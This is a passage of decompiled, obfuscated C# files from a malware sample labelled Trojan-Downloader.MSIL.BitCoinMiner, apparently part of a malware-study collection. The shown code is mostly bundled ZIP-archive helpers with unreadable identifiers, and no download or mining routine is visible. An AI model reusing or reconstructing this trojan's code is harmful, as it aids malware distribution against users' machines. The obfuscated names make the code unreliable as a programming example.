+        obj0 = \u001A\u0005.\u007E\u0018\u0002((object) obj0, \u0011\u0003.\u007E\u0004\u0002((object) obj0) - 1, 1);
+      return obj0;
+    }
+
+    public string \u008C\u0003([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          obj0 = string.Empty;
+          break;
+        default:
+          obj0 = \u001E\u0002.\u0098\u0004(obj0, this.\u0003);
+          if (this.\u0002)
+            obj0 = \u0084\u0004.\u0087\u0005(obj0);
+          if (this.\u0001 != null)
+          {
+            obj0 = \u0088\u0005.\u0089\u0005(this.\u0001, obj0);
+            break;
+          }
+          break;
+      }
+      return obj0;
+    }
+
+    static \u001E\u0002()
+    {
+      char[] chArray = \u0001\u0004.\u0084\u0005();
+      int length = chArray.Length + 3;
+      \u001E\u0002.\u0004 = new char[length];
+      \u008F\u0003.\u0098((Array) chArray, 0, (Array) \u001E\u0002.\u0004, 0, chArray.Length);
+      \u001E\u0002.\u0004[length - 1] = '*';
+      \u001E\u0002.\u0004[length - 2] = '?';
+      \u001E\u0002.\u0004[length - 3] = ':';
+    }
+
+    public static string \u0098\u0004([In] string obj0, [In] char obj1)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(3886));
+        default:
+          obj0 = \u009E.\u0095\u0003(\u0003\u0005.\u007E\u0017\u0002((object) obj0, \u0008.\u000E\u0003(3895), \u0008.\u000E\u0003(3832)));
+          while (\u0011\u0003.\u007E\u0004\u0002((object) obj0) > 0 && \u0089\u0003.\u007E\u0003\u0002((object) obj0, 0) == '\\')
+            obj0 = \u001A\u0005.\u007E\u0018\u0002((object) obj0, 0, 1);
+          while (\u0011\u0003.\u007E\u0004\u0002((object) obj0) > 0 && \u0089\u0003.\u007E\u0003\u0002((object) obj0, \u0011\u0003.\u007E\u0004\u0002((object) obj0) - 1) == '\\')
+            obj0 = \u001A\u0005.\u007E\u0018\u0002((object) obj0, \u0011\u0003.\u007E\u0004\u0002((object) obj0) - 1, 1);
+          for (int index = \u000F\u0004.\u007E\u0012\u0002((object) obj0, \u0008.\u000E\u0003(3900)); index >= 0; index = \u000F\u0004.\u007E\u0012\u0002((object) obj0, \u0008.\u000E\u0003(3900)))
+            obj0 = \u001A\u0005.\u007E\u0018\u0002((object) obj0, index, 1);
+          int num = \u001F\u0005.\u007E\u0010\u0002((object) obj0, \u001E\u0002.\u0004);
+          if (num >= 0)
+          {
+            StringBuilder stringBuilder = new StringBuilder(obj0);
+            for (; num >= 0; num = num < \u0011\u0003.\u007E\u0004\u0002((object) obj0) ? \u0003\u0004.\u007E\u0011\u0002((object) obj0, \u001E\u0002.\u0004, num + 1) : -1)
+              \u000F\u0003.\u007E\u0084\u0002((object) stringBuilder, num, obj1);
+            obj0 = \u0014\u0004.\u007E\u0093((object) stringBuilder);
+          }
+          return \u0011\u0003.\u007E\u0004\u0002((object) obj0) <= 260 ? obj0 : throw new PathTooLongException();
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_001F_0002.cs

@@ -0,0 +1,15 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+namespace \u0019\u0002
+{
+  internal enum \u001F\u0002
+  {
+    \u0001,
+    \u0002,
+    \u0003,
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_007F_0002.cs

@@ -0,0 +1,17 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+namespace \u0019\u0002
+{
+  internal enum \u007F\u0002
+  {
+    \u0001 = 0,
+    \u0002 = 8,
+    \u0003 = 9,
+    \u0004 = 11, // 0x0000000B
+    \u0005 = 99, // 0x00000063
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0080_0002.cs

@@ -0,0 +1,53 @@
+// Decompiled with JetBrains decompiler
+// Type: .€
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0019\u0002;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0080\u0002
+  {
+    private static int \u0001 = \u0011\u0003.\u007E\u0091\u0004((object) \u001E\u0004.\u007E\u0090\u0004((object) \u0018\u0004.\u007E\u009E\u0003((object) \u001D\u0004.\u009D\u0003())));
+
+    [SpecialName]
+    public static int \u0099\u0004() => \u0080\u0002.\u0001;
+
+    public static string \u009A\u0004([In] byte[] obj0, [In] int obj1) => obj0 == null ? string.Empty : \u0014\u0003.\u007E\u0095\u0004((object) \u008A\u0004.\u0092\u0004(\u0080\u0002.\u0099\u0004()), obj0, 0, obj1);
+
+    public static string \u009A\u0004([In] byte[] obj0) => obj0 == null ? string.Empty : \u0080\u0002.\u009A\u0004(obj0, obj0.Length);
+
+    public static string \u009B\u0004([In] int obj0, [In] byte[] obj1, [In] int obj2)
+    {
+      if (obj1 == null)
+        return string.Empty;
+      return (obj0 & 2048) != 0 ? \u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), obj1, 0, obj2) : \u0080\u0002.\u009A\u0004(obj1, obj2);
+    }
+
+    public static string \u009B\u0004([In] int obj0, [In] byte[] obj1)
+    {
+      if (obj1 == null)
+        return string.Empty;
+      return (obj0 & 2048) != 0 ? \u0014\u0003.\u007E\u0095\u0004((object) \u009D\u0004.\u0096\u0004(), obj1, 0, obj1.Length) : \u0080\u0002.\u009A\u0004(obj1, obj1.Length);
+    }
+
+    public static byte[] \u009C\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          return new byte[0];
+        default:
+          return \u0086\u0005.\u007E\u0093\u0004((object) \u008A\u0004.\u0092\u0004(\u0080\u0002.\u0099\u0004()), obj0);
+      }
+    }
+
+    private \u0080\u0002()
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0081_0002.cs

@@ -0,0 +1,394 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0019\u0002;
+using ICSharpCode.SharpZipLib.Zip;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0081\u0002 : ICloneable
+  {
+    private \u0081\u0002.\u0082\u0002 \u0001;
+    private int \u0002 = -1;
+    private ushort \u0003;
+    private string \u0004;
+    private ulong \u0005;
+    private ulong \u0006;
+    private ushort \u0007;
+    private uint \u0008;
+    private uint \u000E;
+    private \u007F\u0002 \u000F = \u007F\u0002.\u0002;
+    private byte[] \u0010;
+    private string \u0011;
+    private int \u0012;
+    private long \u0013 = -1;
+    private long \u0014;
+    private bool \u0015;
+    private byte \u0016;
+    private int \u0017;
+    private int \u0018;
+
+    internal \u0081\u0002([In] string obj0, [In] int obj1, [In] int obj2, [In] \u007F\u0002 obj3)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(3886));
+        default:
+          if (\u0011\u0003.\u007E\u0004\u0002((object) obj0) > (int) ushort.MaxValue)
+            throw new ArgumentException(\u0008.\u000E\u0003(3905), \u0008.\u000E\u0003(3886));
+          if (obj1 != 0 && obj1 < 10)
+            throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(3930));
+          this.\u0015\u0005(\u0017\u0004.\u0094\u0002());
+          this.\u0004 = obj0;
+          this.\u0003 = (ushort) obj2;
+          this.\u0007 = (ushort) obj1;
+          this.\u000F = obj3;
+          break;
+      }
+    }
+
+    [SpecialName]
+    public bool \u009D\u0004() => (this.\u0012 & 1) != 0;
+
+    [SpecialName]
+    internal byte \u009E\u0004() => this.\u0016;
+
+    [SpecialName]
+    internal void \u009F\u0004([In] byte obj0) => this.\u0016 = obj0;
+
+    [SpecialName]
+    public int \u0001\u0005() => this.\u0012;
+
+    [SpecialName]
+    public void \u0002\u0005([In] int obj0) => this.\u0012 = obj0;
+
+    [SpecialName]
+    public long \u0003\u0005() => this.\u0013;
+
+    [SpecialName]
+    public void \u0004\u0005([In] long obj0) => this.\u0013 = obj0;
+
+    [SpecialName]
+    public long \u0005\u0005() => this.\u0014;
+
+    [SpecialName]
+    public void \u0006\u0005([In] long obj0) => this.\u0014 = obj0;
+
+    [SpecialName]
+    public int \u0007\u0005() => (this.\u0001 & \u0081\u0002.\u0082\u0002.\u0006) == \u0081\u0002.\u0082\u0002.\u0001 ? -1 : this.\u0002;
+
+    [SpecialName]
+    public void \u0008\u0005([In] int obj0)
+    {
+      this.\u0002 = obj0;
+      this.\u0001 |= \u0081\u0002.\u0082\u0002.\u0006;
+    }
+
+    [SpecialName]
+    public bool \u000E\u0005() => this.\u0010\u0005() == 0 || this.\u0010\u0005() == 10;
+
+    private bool \u000F\u0005([In] int obj0)
+    {
+      bool flag = false;
+      if ((this.\u0001 & \u0081\u0002.\u0082\u0002.\u0006) != \u0081\u0002.\u0082\u0002.\u0001 && (this.\u0010\u0005() == 0 || this.\u0010\u0005() == 10) && (this.\u0007\u0005() & obj0) == obj0)
+        flag = true;
+      return flag;
+    }
+
+    [SpecialName]
+    public int \u0010\u0005() => (int) this.\u0003 >> 8 & (int) byte.MaxValue;
+
+    [SpecialName]
+    public int \u0019\u0004()
+    {
+      if (this.\u0007 != (ushort) 0)
+        return (int) this.\u0007;
+      int num = 10;
+      if (this.\u001C\u0005() > 0)
+        num = 51;
+      else if (this.\u0012\u0005())
+        num = 45;
+      else if (\u007F\u0002.\u0002 == this.\u000F)
+        num = 20;
+      else if (this.\u0080\u0005())
+        num = 20;
+      else if (this.\u009D\u0004())
+        num = 20;
+      else if (this.\u000F\u0005(8))
+        num = 11;
+      return num;
+    }
+
+    [SpecialName]
+    public bool \u0011\u0005()
+    {
+      bool flag = this.\u0015;
+      if (!flag)
+      {
+        ulong num = this.\u0006;
+        if (this.\u0007 == (ushort) 0 && this.\u009D\u0004())
+          num += 12UL;
+        flag = (this.\u0005 >= (ulong) uint.MaxValue || num >= (ulong) uint.MaxValue) && (this.\u0007 == (ushort) 0 || this.\u0007 >= (ushort) 45);
+      }
+      return flag;
+    }
+
+    [SpecialName]
+    public bool \u0012\u0005() => this.\u0011\u0005() || this.\u0014 >= (long) uint.MaxValue;
+
+    [SpecialName]
+    public void \u0013\u0005([In] long obj0)
+    {
+      this.\u000E = (uint) obj0;
+      this.\u0001 |= \u0081\u0002.\u0082\u0002.\u0005;
+    }
+
+    [SpecialName]
+    public DateTime \u0014\u0005()
+    {
+      uint second = \u009E\u0003.\u0088\u0003(59U, (uint) (2 * ((int) this.\u000E & 31)));
+      uint minute = \u009E\u0003.\u0088\u0003(59U, this.\u000E >> 5 & 63U);
+      uint hour = \u009E\u0003.\u0088\u0003(23U, this.\u000E >> 11 & 31U);
+      uint month = \u009E\u0003.\u0084\u0003(1U, \u009E\u0003.\u0088\u0003(12U, this.\u000E >> 21 & 15U));
+      uint year = (uint) (((int) (this.\u000E >> 25) & (int) sbyte.MaxValue) + 1980);
+      int day = \u0013\u0005.\u0083\u0003(1, \u0013\u0005.\u0087\u0003(\u0013\u0005.\u008E\u0002((int) year, (int) month), (int) (this.\u000E >> 16) & 31));
+      return new DateTime((int) year, (int) month, day, (int) hour, (int) minute, (int) second);
+    }
+
+    [SpecialName]
+    public void \u0015\u0005([In] DateTime obj0)
+    {
+      uint num1 = (uint) obj0.Year;
+      uint num2 = (uint) obj0.Month;
+      uint num3 = (uint) obj0.Day;
+      uint num4 = (uint) obj0.Hour;
+      uint num5 = (uint) obj0.Minute;
+      uint num6 = (uint) obj0.Second;
+      if (num1 < 1980U)
+      {
+        num1 = 1980U;
+        num2 = 1U;
+        num3 = 1U;
+        num4 = 0U;
+        num5 = 0U;
+        num6 = 0U;
+      }
+      else if (num1 > 2107U)
+      {
+        num1 = 2107U;
+        num2 = 12U;
+        num3 = 31U;
+        num4 = 23U;
+        num5 = 59U;
+        num6 = 59U;
+      }
+      this.\u0013\u0005((long) ((uint) (((int) num1 - 1980 & (int) sbyte.MaxValue) << 25 | (int) num2 << 21 | (int) num3 << 16 | (int) num4 << 11 | (int) num5 << 5) | num6 >> 1));
+    }
+
+    [SpecialName]
+    public string \u0005\u0004() => this.\u0004;
+
+    [SpecialName]
+    public long \u0010\u0004() => (this.\u0001 & \u0081\u0002.\u0082\u0002.\u0002) == \u0081\u0002.\u0082\u0002.\u0001 ? -1L : (long) this.\u0005;
+
+    [SpecialName]
+    public void \u0011\u0004([In] long obj0)
+    {
+      this.\u0005 = (ulong) obj0;
+      this.\u0001 |= \u0081\u0002.\u0082\u0002.\u0002;
+    }
+
+    [SpecialName]
+    public long \u0016\u0005() => (this.\u0001 & \u0081\u0002.\u0082\u0002.\u0003) == \u0081\u0002.\u0082\u0002.\u0001 ? -1L : (long) this.\u0006;
+
+    [SpecialName]
+    public void \u0017\u0005([In] long obj0)
+    {
+      this.\u0006 = (ulong) obj0;
+      this.\u0001 |= \u0081\u0002.\u0082\u0002.\u0003;
+    }
+
+    [SpecialName]
+    public long \u0018\u0005() => (this.\u0001 & \u0081\u0002.\u0082\u0002.\u0004) == \u0081\u0002.\u0082\u0002.\u0001 ? -1L : (long) this.\u0008 & (long) uint.MaxValue;
+
+    [SpecialName]
+    public void \u0019\u0005([In] long obj0)
+    {
+      this.\u0008 = ((long) this.\u0008 & -4294967296L) == 0L ? (uint) obj0 : throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943));
+      this.\u0001 |= \u0081\u0002.\u0082\u0002.\u0004;
+    }
+
+    [SpecialName]
+    public \u007F\u0002 \u001A\u0005() => this.\u000F;
+
+    [SpecialName]
+    public void \u001B\u0005([In] byte[] obj0)
+    {
+      if (obj0 == null)
+      {
+        this.\u0010 = (byte[]) null;
+      }
+      else
+      {
+        this.\u0010 = obj0.Length <= (int) ushort.MaxValue ? new byte[obj0.Length] : throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943));
+        \u008F\u0003.\u0098((Array) obj0, 0, (Array) this.\u0010, 0, obj0.Length);
+      }
+    }
+
+    [SpecialName]
+    public int \u001C\u0005()
+    {
+      switch (this.\u0018)
+      {
+        case 0:
+          return 0;
+        case 1:
+          return 128;
+        case 2:
+          return 192;
+        case 3:
+          return 256;
+        default:
+          throw new ZipException(\u0002\u0005.\u001C\u0002((object) \u0008.\u000E\u0003(3963), (object) this.\u0018));
+      }
+    }
+
+    [SpecialName]
+    internal int \u001D\u0005() => this.\u001C\u0005() / 16;
+
+    internal void \u001E\u0005([In] bool obj0)
+    {
+      \u0084\u0002 obj = new \u0084\u0002(this.\u0010);
+      if (obj.\u0087\u0005(1))
+      {
+        this.\u0015 = true;
+        if (obj.\u0084\u0005() < 4)
+          throw new ZipException(\u0008.\u000E\u0003(4004));
+        if (obj0 || this.\u0005 == (ulong) uint.MaxValue)
+          this.\u0005 = (ulong) obj.\u0088\u0005();
+        if (obj0 || this.\u0006 == (ulong) uint.MaxValue)
+          this.\u0006 = (ulong) obj.\u0088\u0005();
+        if (!obj0 && this.\u0014 == (long) uint.MaxValue)
+          this.\u0014 = obj.\u0088\u0005();
+      }
+      else if (((int) this.\u0007 & (int) byte.MaxValue) >= 45 && (this.\u0005 == (ulong) uint.MaxValue || this.\u0006 == (ulong) uint.MaxValue))
+        throw new ZipException(\u0008.\u000E\u0003(4081));
+      if (obj.\u0087\u0005(10))
+      {
+        if (obj.\u0084\u0005() < 4)
+          throw new ZipException(\u0008.\u000E\u0003(4150));
+        obj.\u0087\u0003();
+        while (obj.\u0086\u0005() >= 4)
+        {
+          int num1 = obj.\u0086\u0003();
+          int num2 = obj.\u0086\u0003();
+          if (num1 == 1)
+          {
+            if (num2 >= 24)
+            {
+              long num3 = obj.\u0088\u0005();
+              obj.\u0088\u0005();
+              obj.\u0088\u0005();
+              this.\u0015\u0005(\u0084\u0003.\u008F\u0002(num3));
+              break;
+            }
+            break;
+          }
+          obj.\u0089\u0005(num2);
+        }
+      }
+      else if (obj.\u0087\u0005(21589))
+      {
+        int num = obj.\u0084\u0005();
+        if ((obj.ReadByte() & 1) != 0 && num >= 5)
+        {
+          int seconds = obj.\u0087\u0003();
+          DateTime dateTime = new DateTime(1970, 1, 1, 0, 0, 0);
+          this.\u0015\u0005(\u009B\u0004.\u009A\u0002(dateTime.ToUniversalTime(), new TimeSpan(0, 0, 0, seconds, 0)).ToLocalTime());
+        }
+      }
+      if (this.\u000F != \u007F\u0002.\u0005)
+        return;
+      this.\u001F\u0005(obj);
+    }
+
+    private void \u001F\u0005([In] \u0084\u0002 obj0)
+    {
+      if (!obj0.\u0087\u0005(39169))
+        throw new ZipException(\u0008.\u000E\u0003(4229));
+      this.\u0007 = (ushort) 51;
+      this.\u0002\u0005(this.\u0001\u0005() | 64);
+      int num1 = obj0.\u0084\u0005();
+      if (num1 < 7)
+        throw new ZipException(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(4183), (object) num1, (object) \u0008.\u000E\u0003(4216)));
+      int num2 = obj0.\u0086\u0003();
+      obj0.\u0086\u0003();
+      int num3 = obj0.ReadByte();
+      int num4 = obj0.\u0086\u0003();
+      this.\u0017 = num2;
+      this.\u0018 = num3;
+      this.\u000F = (\u007F\u0002) num4;
+    }
+
+    [SpecialName]
+    public void \u007F\u0005([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          this.\u0011 = obj0;
+          break;
+        default:
+          if (\u0011\u0003.\u007E\u0004\u0002((object) obj0) > (int) ushort.MaxValue)
+            throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943), \u0008.\u000E\u0003(4262));
+          goto case null;
+      }
+    }
+
+    [SpecialName]
+    public bool \u0080\u0005()
+    {
+      int num = \u0011\u0003.\u007E\u0004\u0002((object) this.\u0004);
+      return num > 0 && (\u0089\u0003.\u007E\u0003\u0002((object) this.\u0004, num - 1) == '/' || \u0089\u0003.\u007E\u0003\u0002((object) this.\u0004, num - 1) == '\\') || this.\u000F\u0005(16);
+    }
+
+    [SpecialName]
+    public bool \u0081\u0005() => !this.\u0080\u0005() && !this.\u000F\u0005(8);
+
+    public bool \u0082\u0005() => \u0081\u0002.\u0082\u0005(this.\u001A\u0005());
+
+    public object Clone()
+    {
+      \u0081\u0002 obj = (\u0081\u0002) \u001B\u0005.\u0097((object) this);
+      if (this.\u0010 != null)
+      {
+        obj.\u0010 = new byte[this.\u0010.Length];
+        \u008F\u0003.\u0098((Array) this.\u0010, 0, (Array) obj.\u0010, 0, this.\u0010.Length);
+      }
+      return (object) obj;
+    }
+
+    public override string ToString() => this.\u0004;
+
+    public static bool \u0082\u0005([In] \u007F\u0002 obj0) => obj0 == \u007F\u0002.\u0002 || obj0 == \u007F\u0002.\u0001;
+
+    [Flags]
+    private enum \u0082\u0002 : byte
+    {
+      \u0001 = 0,
+      \u0002 = 1,
+      \u0003 = 2,
+      \u0004 = 4,
+      \u0005 = 8,
+      \u0006 = 16, // 0x10
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0083_0002.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: .ƒ
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0019\u0002;
+using \u0093;
+using System;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0083\u0002 : \u001D\u0002
+  {
+    private \u009B \u0001;
+    private DateTime \u0002 = DateTime.Now;
+    private int \u0003 = -1;
+
+    public \u0083\u0002() => this.\u0001 = (\u009B) new \u0093\u0002();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0084_0002.cs

@@ -0,0 +1,140 @@
+// Decompiled with JetBrains decompiler
+// Type: .„
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using ICSharpCode.SharpZipLib.Zip;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0084\u0002 : IDisposable
+  {
+    private int \u0001;
+    private int \u0002;
+    private int \u0003;
+    private MemoryStream \u0004;
+    private byte[] \u0005;
+
+    public \u0084\u0002() => this.\u0083\u0005();
+
+    public \u0084\u0002([In] byte[] obj0)
+    {
+      if (obj0 == null)
+        this.\u0005 = new byte[0];
+      else
+        this.\u0005 = obj0;
+    }
+
+    public void \u0083\u0005()
+    {
+      if (this.\u0005 != null && this.\u0005.Length == 0)
+        return;
+      this.\u0005 = new byte[0];
+    }
+
+    [SpecialName]
+    public int \u0084\u0005() => this.\u0003;
+
+    [SpecialName]
+    public int \u0086\u0005()
+    {
+      if (this.\u0002 > this.\u0005.Length || this.\u0002 < 4)
+        throw new ZipException(\u0008.\u000E\u0003(4291));
+      return this.\u0002 + this.\u0003 - this.\u0001;
+    }
+
+    public bool \u0087\u0005([In] int obj0)
+    {
+      this.\u0002 = this.\u0005.Length;
+      this.\u0003 = 0;
+      this.\u0001 = 0;
+      int num1 = this.\u0002;
+      int num2 = obj0 - 1;
+      while (num2 != obj0 && this.\u0001 < this.\u0005.Length - 3)
+      {
+        num2 = this.\u008B\u0005();
+        num1 = this.\u008B\u0005();
+        if (num2 != obj0)
+          this.\u0001 += num1;
+      }
+      bool flag = num2 == obj0 && this.\u0001 + num1 <= this.\u0005.Length;
+      if (flag)
+      {
+        this.\u0002 = this.\u0001;
+        this.\u0003 = num1;
+      }
+      return flag;
+    }
+
+    public long \u0088\u0005()
+    {
+      this.\u008A\u0005(8);
+      return (long) this.\u0087\u0003() & (long) uint.MaxValue | (long) this.\u0087\u0003() << 32;
+    }
+
+    public int \u0087\u0003()
+    {
+      this.\u008A\u0005(4);
+      int num = (int) this.\u0005[this.\u0001] + ((int) this.\u0005[this.\u0001 + 1] << 8) + ((int) this.\u0005[this.\u0001 + 2] << 16) + ((int) this.\u0005[this.\u0001 + 3] << 24);
+      this.\u0001 += 4;
+      return num;
+    }
+
+    public int \u0086\u0003()
+    {
+      this.\u008A\u0005(2);
+      int num = (int) this.\u0005[this.\u0001] + ((int) this.\u0005[this.\u0001 + 1] << 8);
+      this.\u0001 += 2;
+      return num;
+    }
+
+    public int ReadByte()
+    {
+      int num = -1;
+      if (this.\u0001 < this.\u0005.Length && this.\u0002 + this.\u0003 > this.\u0001)
+      {
+        num = (int) this.\u0005[this.\u0001];
+        ++this.\u0001;
+      }
+      return num;
+    }
+
+    public void \u0089\u0005([In] int obj0)
+    {
+      this.\u008A\u0005(obj0);
+      this.\u0001 += obj0;
+    }
+
+    private void \u008A\u0005([In] int obj0)
+    {
+      if (this.\u0002 > this.\u0005.Length || this.\u0002 < 4)
+        throw new ZipException(\u0008.\u000E\u0003(4291));
+      if (this.\u0001 > this.\u0002 + this.\u0003 - obj0)
+        throw new ZipException(\u0008.\u000E\u0003(4356));
+      if (this.\u0001 + obj0 < 4)
+        throw new ZipException(\u0008.\u000E\u0003(4381));
+    }
+
+    private int \u008B\u0005()
+    {
+      if (this.\u0001 > this.\u0005.Length - 2)
+        throw new ZipException(\u0008.\u000E\u0003(4356));
+      int num = (int) this.\u0005[this.\u0001] + ((int) this.\u0005[this.\u0001 + 1] << 8);
+      this.\u0001 += 2;
+      return num;
+    }
+
+    public void Dispose()
+    {
+      if (this.\u0004 == null)
+        return;
+      \u0093\u0003.\u007E\u0006\u0005((object) this.\u0004);
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0086_0002.cs

@@ -0,0 +1,27 @@
+// Decompiled with JetBrains decompiler
+// Type: .†
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0086\u0002 : EventArgs
+  {
+    private string \u0001;
+    private byte[] \u0002;
+
+    public \u0086\u0002([In] string obj0, [In] byte[] obj1)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+    }
+
+    [SpecialName]
+    public byte[] get_Key() => this.\u0002;
+  }
+}